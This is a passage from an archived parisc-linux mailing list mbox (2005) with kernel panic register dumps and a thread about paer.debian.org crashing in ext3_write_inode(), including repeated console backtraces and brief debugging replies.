fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  4fe8dbc000000000 4fe503d000000020 111a0000f00008c4 000000011058b004
fr08-11  0000000300000000 111a000010eea9f8 105880102bf89280 000f41fa10585810
fr12-15  fdb79f6bbef796fb 6f73ef7effffffff ffffffff692e13f0 ffffffffffffffff
fr16-19  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
fr20-23  7cdde347ffffffff ffffffffffffffff 02852756aebd0e21 0be451a19999999a
fr24-27  000007b100000000 3fe0000000000000 412e848000000000 00000000002dc6c0
fr28-31  0000000f111e013c 1047e01010182744 105a2a371047e010 111e009c00000000

IASQ: 00000000 00000000 IAOQ: 00126214 00126218
 IIR: 0ea00194    ISR: a627ffec  IOR: 01806048
 CPU:        0   CR30: 10540000 CR31: 10544000
 ORIG_R28: 00000000
 IAOQ[0]: roothub_a+0x8/0x64 [ohci_hcd]
 IAOQ[1]: roothub_a+0xc/0x64 [ohci_hcd]
 RP(r2): ohci_hub_status_data+0xa4/0x1dc [ohci_hcd]
Kernel panic - not syncing: High Priority Machine Check (HPMC)

BTW, the MAC Keyboard has a hub device build in, so i think that maybe a
problem. But the same keyboard works on x86 with 2.6.12 without
Problems. BTW, Kernel Version on the C3600 is 2.6.13-rc3-pa1, but this
happens also with 2.6.12-*

Any hints?

TIA,

Sven.
=2D-=20
Microsoft spelchekar vor sail, worgs grate!!!

--=-=-=
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQBC9Ijj86MdxiXaIbERAqPgAJ4+V2T3jGJhPPxSkWMcd8CKQhPwSACg0tvY
QdMvRIVBW4Ufsy4urfddp1Q=
=/1Dg
-----END PGP SIGNATURE-----
--=-=-=--

--===============1562706737==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1562706737==--



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Sat, 06 Aug 2005 09:21:49 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <1123341709.10768.1.camel@localhost>
References: <1123204638.3628.132.camel@krebs.dannf>
	<20050805195306.GS9703@systemhalted.org>
	<1123274838.9036.57.camel@krebs.dannf>
	<20050806051432.GA21031@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623883 16014 80.91.229.3 (22 Nov 2014 02:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:03 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2005 15:22:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 06 Aug 2005 17:22:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C71DC7D678;
	Sat,  6 Aug 2005 09:22:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21311-05; Sat, 6 Aug 2005 09:22:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F48B7D67B;
	Sat,  6 Aug 2005 09:22:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01AC67D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 09:21:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21102-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Aug 2005 09:21:58 -0600 (MDT)
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by free.linux.hp.com (Postfix) with ESMTP id 7B7EF7D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 09:21:58 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP id 289EB786;
	Sat,  6 Aug 2005 11:21:58 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 461F341FDB8; Sat,  6 Aug 2005 15:21:49 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 04A2B1340F2;
	Sat,  6 Aug 2005 09:21:49 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09077-03; Sat, 6 Aug 2005 09:21:47 -0600 (MDT)
Original-Received: from localhost (hplu.lsy [10.100.0.20])
	by ldl.fc.hp.com (Postfix) with ESMTP id 38B7B1340D4;
	Sat,  6 Aug 2005 09:21:47 -0600 (MDT)
In-Reply-To: <20050806051432.GA21031@colo.lackof.org>
X-Mailer: Evolution 2.2.3 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yLCGYtp/eSEkQr6WZHQhaXN1IGRvbwDs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23030

On Fri, 2005-08-05 at 23:14 -0600, Grant Grundler wrote:
> On Fri, Aug 05, 2005 at 02:47:18PM -0600, dann frazier wrote:
> > > No register dump? That is the most interesting and usefull piece of
> > > information :(
> > 
> > Yeah; we really should be logging the console while its acting up...
> > I'll try to set that up.
> 
> pear is an a500?
> 
> If so, "cl" from the GSP will dump the last couple hundred lines
> of console output.

right, that output is in my first message.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Sat, 6 Aug 2005 11:56:01 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20050806175601.GA12272@colo.lackof.org>
References: <1123204638.3628.132.camel@krebs.dannf>
	<20050805195306.GS9703@systemhalted.org>
	<1123274838.9036.57.camel@krebs.dannf>
	<20050806051432.GA21031@colo.lackof.org>
	<1123341709.10768.1.camel@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623884 16015 80.91.229.3 (22 Nov 2014 02:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dann frazier <dannf@hp.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2005 17:50:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 06 Aug 2005 19:50:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5C897D69F;
	Sat,  6 Aug 2005 11:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21838-07; Sat, 6 Aug 2005 11:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC5977D6A1;
	Sat,  6 Aug 2005 11:50:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E0597D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 11:50:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21838-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Aug 2005 11:50:50 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id AF8687D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 11:50:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 66373360064;
	Sat,  6 Aug 2005 11:56:02 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11309-04; Sat, 6 Aug 2005 11:56:01 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1E3D7360055; Sat,  6 Aug 2005 11:56:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1123341709.10768.1.camel@localhost>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1Z2GYotWeSEkY76WZHQhaXN1IGRvb4Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23031

On Sat, Aug 06, 2005 at 09:21:49AM -0600, dann frazier wrote:
> > > Yeah; we really should be logging the console while its acting up...
> > > I'll try to set that up.
> > 
> > pear is an a500?
> > 
> > If so, "cl" from the GSP will dump the last couple hundred lines
> > of console output.
> 
> right, that output is in my first message.

Ok..then the missing register dump isn't something logging
the console will fix. Not unless you want to make the
console log available from the internet...not something I'd
be real comfortable with.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Thu, 04 Aug 2005 19:17:18 -0600
Lines: 240
Approved: news@gmane.org
Message-ID: <1123204638.3628.132.camel@krebs.dannf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623884 16023 80.91.229.3 (22 Nov 2014 02:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Aug 2005 01:15:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 05 Aug 2005 03:15:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAAD67D716;
	Thu,  4 Aug 2005 19:15:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06961-08; Thu, 4 Aug 2005 19:15:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB92A7D719;
	Thu,  4 Aug 2005 19:15:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E47F37D715
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Aug 2005 19:15:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06961-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 4 Aug 2005 19:15:16 -0600 (MDT)
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by free.linux.hp.com (Postfix) with ESMTP id 4C8DA7D709
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Aug 2005 19:15:16 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP id 1C50220D9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Aug 2005 21:15:07 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 02D1E41E4F4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 01:15:03 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id B67771340F2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Aug 2005 19:15:02 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02647-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 4 Aug 2005 19:15:01 -0600 (MDT)
Original-Received: from krebs.dannf (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 49BD61340D4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Aug 2005 19:15:01 -0600 (MDT)
X-Mailer: Evolution 2.2.3 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5tiAYu0veSEke76WZHQhaXN1IGRvbwCu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23032

fyi, paer.debian.org was reported down.  The GSP's console log
follows.  

dannf@paer:~$ uname -a
Linux paer 2.6.8-2-64 #1 Tue Feb 8 05:54:00 EST 2005 parisc64 GNU/Linux


GSP> cl


CL

<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:


Press Q/q to quit, Enter to continue:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]

Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000000012b024>] ext3_write_inode+0x3c/0x68 [ext3]





_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <matt@lackof.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Sat, 06 Aug 2005 11:38:33 -0700
Lines: 103
Approved: news@gmane.org
Message-ID: <20050806183834.0C7681AA7DF@cyrix.home.bogus>
References: <1123204638.3628.132.camel@krebs.dannf> 
	<20050805195306.GS9703@systemhalted.org>
	<1123274838.9036.57.camel@krebs.dannf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623884 16027 80.91.229.3 (22 Nov 2014 02:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:04 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 parisc-linux@lists.parisc-linux.org
To: dann frazier <dannf@hp.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2005 18:38:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 06 Aug 2005 20:38:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E7017D6B2;
	Sat,  6 Aug 2005 12:38:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22315-07; Sat, 6 Aug 2005 12:38:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F4907D6B9;
	Sat,  6 Aug 2005 12:38:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 837547D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 12:38:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22315-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Aug 2005 12:38:37 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DCDF87D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 12:38:36 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
